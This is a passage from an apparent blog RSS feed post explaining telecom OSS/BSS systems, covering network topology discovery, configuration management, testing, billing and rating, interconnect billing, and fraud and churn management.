networks and systems were static and the network wiring was fixed in place, and sometimes required long outages while changes to the network and its configuration were being made. Any error or inconsistency in the configuration files of different network devices caused problem, and therefore these changes were well controlled [3]. &lt;br /&gt;According to [3], with the rise of IP-based, dynamically routed networks, network topologies started becoming dynamic. The topology of the network became dynamic because a few of routers might decide, on their own, to shift routing patterns, or because a network operator group might add a new router or switch to the network, possibly without everyone else in the network operations center being aware of the changes. Instead of static associations between users and network addresses (as was set in the old “hosts” file), DHCP and other techniques allowed users to appear, move, and disappear without providing prior notice to the network administration.&lt;br /&gt;&lt;br /&gt;Most major NMSs therefore provide capabilities to automatically discover a network’s actual topology, which is critical to understand network performance or root cause of network alarms, etc. &lt;br /&gt;&lt;br /&gt;Probes are placed into the network to automatically find devices and circuits. Also, most network elements provide MIBs that can be polled via SNMP to discover the network, although discovering the network topology in its entirety may not be guaranteed. Backup paths, virtual private networks, MPLS, etc., can make it very difficult to discover actual paths, through multiplexed links, patch panels, and test equipment [3]. &lt;br /&gt;&lt;br /&gt;Also, most Topology Management Systems allow the network operator to provide hints so that the system, for instance, in order that the system can ignore certain portions of the network. This makes it easier to discover relevant portions of the network more accurately. &lt;br /&gt;&lt;br /&gt;Some service providers may run network discovery routines on a daily basis to discover any unauthorized changes to the network topology as a result of security intrusions or unplanned insertion of devices. &lt;br /&gt;&lt;br /&gt;Moreover, network elements and computer systems have a variety of version information associated with them. For example, a workstation may have: Operation System, version 32, Ethernet Interface, version 5.4, TCP/IP Software, version 2.0 and SNMP Software, version 3.1. Since multiple engineers/network operators work on making changes to the network equipment, tracking the changes manually would be very tedious and error-prone. Configuration Management tools help automates the tracking of the changes. Configuration Management systems store the configurations in a database or LDAP server for easy access. &lt;br /&gt;&lt;br /&gt;They also enable network operators to change configurations of the network elements as well as to roll back a change to a previous configuration, if required. &lt;br /&gt;When a problem in the network occurs, network operators often search the Configuration Management database for clues that can help solve the problem.&lt;br /&gt;&lt;br /&gt;2.2.4. Planning &amp; Testing&lt;br /&gt;&lt;br /&gt;Network Planning solutions help determine when a communication network needs an upgrade or additional equipment as well as to predict the impact of changes to a service provider’s network’s topology, configuration, traffic and technology. They provide simulation tools that help the network operators to project how growth in network traffic will affect the network performance. Based on the results and other planning activities, network operators can take countermeasures such as increase capacity.&lt;br /&gt;&lt;br /&gt;Testing is an important activity in setting up a network or customer circuits. For simplicity in understanding the gamut of testing activities, let us divide them into the following:&lt;br /&gt;&lt;br /&gt;1. Testing of existing network or a change&lt;br /&gt;2. Integration testing of services configured for the customer&lt;br /&gt;3. End-to-end testing of services configured for the customer&lt;br /&gt;&lt;br /&gt;Testing the entire network platform - including the equipment, services and call quality – is critical for assessing the system prior to deployment and for service assurance in production environments [4]. &lt;br /&gt;&lt;br /&gt;Network testing tools usually simulate a production environment and generate synthetic voice, video and data traffic, which helps measure call/data quality, network performance, and the affects of any changes to the network or increasing traffic or adding new applications. These tests typically include tests like DNS, HTTP, RTP, Ping, etc. Also, during ongoing operations, these testing tools enable active testing of facilities.&lt;br /&gt;&lt;br /&gt;Another form of testing is integration testing of network setup for the customer, i.e., routes, circuits, etc. configured for a customer. Network operators or field engineers perform integration testing of services upon completion of activations and other provisioning activities. Field engineers typically use equipment and network element specific applications to perform integration testing. &lt;br /&gt;&lt;br /&gt;Upon completion of integration testing, field operations teams are notified to perform end-to-end testing. End-to-end testing includes testing of circuits, both within the CSP’s network as well as local access circuits between the CSP and the customer premises. Some service provider’s use craft access systems for the benefit of field technician’s access to their internal systems through a hand held terminal [5]. The hand held terminal helps them to access loop testing system and to view the complete test summary from remote locations.&lt;br /&gt;&lt;br /&gt;2.3 Billing&lt;br /&gt;&lt;br /&gt;IDC [6] defines Billing as: the processing and compiling of charges and enabling of revenue collection for network usage, feature transactions, and access charges of the services.Mediation systems collect network usage data from the network elements and convert to billable statistics. &lt;br /&gt;The following figure depicts a simple Billing flow:&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Traditionally, for phone calls, Call Detail Records (CDR) have been used to record the details of the circuit-switched phone call. CDR includes information on start time of call, end time of call, duration of call, originating and termination numbers. CDRs are stored until a billing cycle runs. For IP Based Services, a new standard is gaining acceptance called Internet Protocol Detail Record (IPDR). IPDR supports both voice and data. &lt;br /&gt;&lt;br /&gt;Billing systems use mediation output to determine charges for the customers. It is also used to feed other downstream applications such as Fraud and Churn Management.&lt;br /&gt;&lt;br /&gt;2.3.2 Rating&lt;br /&gt;&lt;br /&gt;Rating systems calculate the charge for an individual call, IP usage event, etc. using the CDRs/IPDRs. Rating systems apply charges based on pre-configured pricing rules, applicable discounts and rebates from promotions.&lt;br /&gt;&lt;br /&gt;This rating process has grown increasingly complex in recent years. In older times, it was solely a matter of taking the length of the call, assigning a price based on the mileage band (calculated by cross-referencing the prefix of the originating and terminating numbers in a table of values), and assigning discounts based on the time of day (peak, evening, night), day of the week, and holidays.&lt;br /&gt;&lt;br /&gt;Modern rating systems can assign discounts based on calling circles, provide flexible rating plans based on size of accounts and increase switching costs [2]. These serve as strategic marketing tools but can be very complex to administer and operate.&lt;br /&gt;&lt;br /&gt;2.3.3 Billing Systems&lt;br /&gt;&lt;br /&gt;Billing systems aggregate rated calls, IP/data usage events, etc. and calculate customer invoices. In the United States, billing is usually performed once a month. &lt;br /&gt;&lt;br /&gt;Billing systems combine rated records with prior balance information, payment records, recurring charges (such as line rentals), one-time fees (such as installation and service charges), promotions and discounts associated with the customer account, taxes and credits. Overnight billing batch jobs are among the largest batch environment at a CSP’s operating environment. Each customer is assigned a specific billing cycle. &lt;br /&gt;&lt;br /&gt;According to Insight [2], the holy grails of the billing industry are unified billing and convergent billing. With unified billing, a customer gets a single bill for all services provided (or billed) by the service provider, appropriately rated, discounted, and taxed, and a single contact for inquiries and negotiation.&lt;br /&gt;&lt;br /&gt;2.3.4. Interconnection Billing&lt;br /&gt;In the competitive world of communications, service providers often tie-up with partners, in order to bundle their own products with their partners. This helps the service providers to provide attractive bundles of products and services. However, in order to successfully settle interconnect billing settlements an effective Interconnection Billing is required.&lt;br /&gt;&lt;br /&gt;Interconnection Billing products support inter-working of a service provider’s billing systems with the corresponding systems of another service provider, based on interconnect agreements and contracts.&lt;br /&gt;&lt;br /&gt;2.3.5. Revenue Assurance &lt;br /&gt;&lt;br /&gt;Revenue Assurance &amp; Fraud Management systems verify billing, detect and identify unauthorized usage of service provider network assets. Some of the kinds of frauds are Usage and Subscription.&lt;br /&gt;&lt;br /&gt;Usage Fraud means that a customer uses the telecommunications network illegally. This is accomplished either by obtaining a service with no intent to pay or by obtaining unauthorized access to the network (i.e. “hacking” or “cracking”). &lt;br /&gt;&lt;br /&gt;Fraud Management systems typically detect and prevent unauthorized access to a communications network by analyzing traffic patterns on the network. Some examples are provided in [8]:&lt;br /&gt;• One technique involves analyzing the average call duration or the number of calls placed to foreign countries to determine whether the traffic patterns are consistent with a subscriber's call history or pattern. If a call is inconsistent with the subscriber's call pattern profile, the subscriber is provided with a report of the abnormal call activity. &lt;br /&gt;• Other methods for dealing with the problem of unauthorized use involve automatically denying or blocking access to the network when abnormal use is detected to minimize the subscriber's financial loss. &lt;br /&gt;Subscription fraud means that a customer obtains a service account by giving a false identity (name and/or SSN) or by giving a false address or false credit worthiness.&lt;br /&gt;&lt;br /&gt;Detecting subscription fraud involves searching recent order and existing customer data for multiple orders and/or accounts with the same customer name, SSN, or service address. &lt;br /&gt;&lt;br /&gt;Common subscription fraud patterns include:&lt;br /&gt;• Change of billing address within a few weeks of opening an account. &lt;br /&gt;• Substantial deviation of usage profile of a new user from an average new user. &lt;br /&gt;Common techniques to control subscription based fraud include threshold based analysis, inference rules analysis, profile based analysis such as habitual user profiles and neural networks. &lt;br /&gt;&lt;br /&gt;Fraud Management Systems typically read and store usage data from the service provider’s network switching equipment and allows queries to be executed against the data that detect suspicious usage patterns. &lt;br /&gt;&lt;br /&gt;They also allow operators to review customer accounts that have suspicious activity, to track their investigation and record the final case resolution. &lt;br /&gt;&lt;br /&gt;It should be noted that fraud is different from revenue leakage. Revenue leakage is characterized by the loss of revenues resulting from operational or technical loopholes where the resulting losses are sometimes recoverable and generally detected through audits or similar procedures [1]. Fraud, on the other hand, is characterized with theft by deception, typically characterized by evidence of intent where the resulting losses are often not recoverable and may be detected by analysis of calling patterns.&lt;br /&gt;&lt;br /&gt;Another important class of Revenue Assurance tools includes Churn Management tools. Churn management is an important area for service providers that have subscription-based business - due to price wars, aggressive marketing and promotions from competing service providers, and customer’s expectations related to customer service. &lt;br /&gt;&lt;br /&gt;Churn Management tools provide functions such as automated behavior analysis, forecasting and simulation, empirical profiling, churn metrics capture, that enable service providers to learn which customers are likely to leave and take appropriate countermeasures.&lt;br /&gt;&lt;br /&gt;3. Conclusion&lt;br /&gt;&lt;br /&gt;3.1 Summary&lt;br /&gt;&lt;br /&gt;OSS/BSS systems and applications automate many of the day to day operations performed in a communications service provider’s operating environment. They optimize the time taken to perform these operations and make the business processes more efficient. &lt;br /&gt;&lt;br /&gt;There are no all-encompassing OSS/BSS systems that can be installed, integrated, tested and allow the service providers to easily modernize their end-to-end operations functions. &lt;br /&gt;&lt;br /&gt;Service providers, therefore, use all the different approaches: best-of-breed in some areas, off-the-shelf in some, and home-grown custom applications in the remaining areas, to modernize and optimize their operations. &lt;br /&gt;&lt;br /&gt;More often than not, many of these OSS/BSS systems are integrated with the others in a point-to-point fashion, as part of discrete projects and programs, sponsored out of different business units. This leads to point-to-point integration of OSS/BSS systems unless the programs/projects are planned with a strategic goal.&lt;br /&gt;&lt;br /&gt;A side effect of the difficulty in integrating the various OSS/BSS systems is many of the OSS/BSS systems in a service provider’s operating environment may not be integrated at all. For example, it is not unusual to find the following scenario: when a customer orders a new telephone line, the ordering system takes the details of a customer’s order, but a manual process is present to configure the telephone exchange using a switch management system. Details of the order entered in the Order Handling system is re-keyed manually by the technician into the Switch Management System – a process often referred to as “Swivel-Chair Integration”.&lt;br /&gt;&lt;br /&gt;The article provided an overview of some of the core OSS/BSS areas in Order Fulfillment, Service Assurance and Billing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-9209366615008414389?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2010/09/telecom-testing.html</link><author>noreply@blogger.com (Dileep Varma)</author><thr:total>0</thr:total></item></channel></rss>